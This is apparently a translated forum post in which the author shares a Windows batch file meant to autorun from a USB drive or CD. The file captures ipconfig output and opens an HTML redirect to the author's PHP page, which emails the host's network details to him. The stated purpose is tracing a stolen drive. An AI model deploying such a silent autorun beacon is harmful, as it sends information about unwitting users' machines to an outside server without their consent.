好的,所以我的最终目标是拥有一个可以放置在外部驱动器或闪存盘甚至 cd 中的自动运行文件,如果运行将执行一堆废话,最终将计算机的 ip 信息发送回我。到目前为止,这就是我所拥有的......
一个批处理文件
- 打开一个 cmd 窗口并运行 ipconfig /all > tcpinfo.txt 将所有 ipconfig 存储在一个文件中
然后文件创建一个html文件
回声 ^http://anthonyrussell.info/scripts/sendmail.php? computerinfo="这是 ipconfig 信息应该去的地方"^>^^^ >>sendEmail.html`
--批处理文件做的最后一件事是执行html文件
HTML 文件重定向到我创建的一个 php 页面,该页面使用我们创建的 html 文件传递的 GET 信息发送一封电子邮件。
所以这一切都有效,除了我无法将 ipconfig 信息放入 html 代码中......
有任何想法吗?
下面是我正在使用的 bat 代码。随意运行它。我已将其配置为如果您在电子邮件中添加 altEmail= 的位置,它会将其发送到您想要进行测试的任何地方。否则它会被路由给我。
将此保存为anynameyouwant.bat
cd desktop
ipconfig /all > tcpinfo.txt
echo ^<html^>^<head^>^<meta HTTP-EQUIV="REFRESH"content="0;url=http://anthonyrussell.info/scripts/sendmail.php?computerinfo=ip:127.0.0.1&altEmail="^>^</head^>^</html^> >> sendEmail.html
sendEmail.html
更新
所以有时最简单的答案确实是最好的。这个场景的重点是从可能或可能没有盗窃驱动器或磁盘的人那里获取计算机信息。
想法是让它自动运行->启动批处理文件->捕获comp信息->创建html文件->带信息的电话回家
我最终做的不是从命令提示符捕获公共 IP(我现在确信无法完成),我只是创建一个 html 文件,启动它,然后在我的服务器上捕获访问者 ID,然后通过电子邮件发送它在正文中以及我在命令提示符中捕获的计算机名称。
感谢大家的意见。这是一个有趣的练习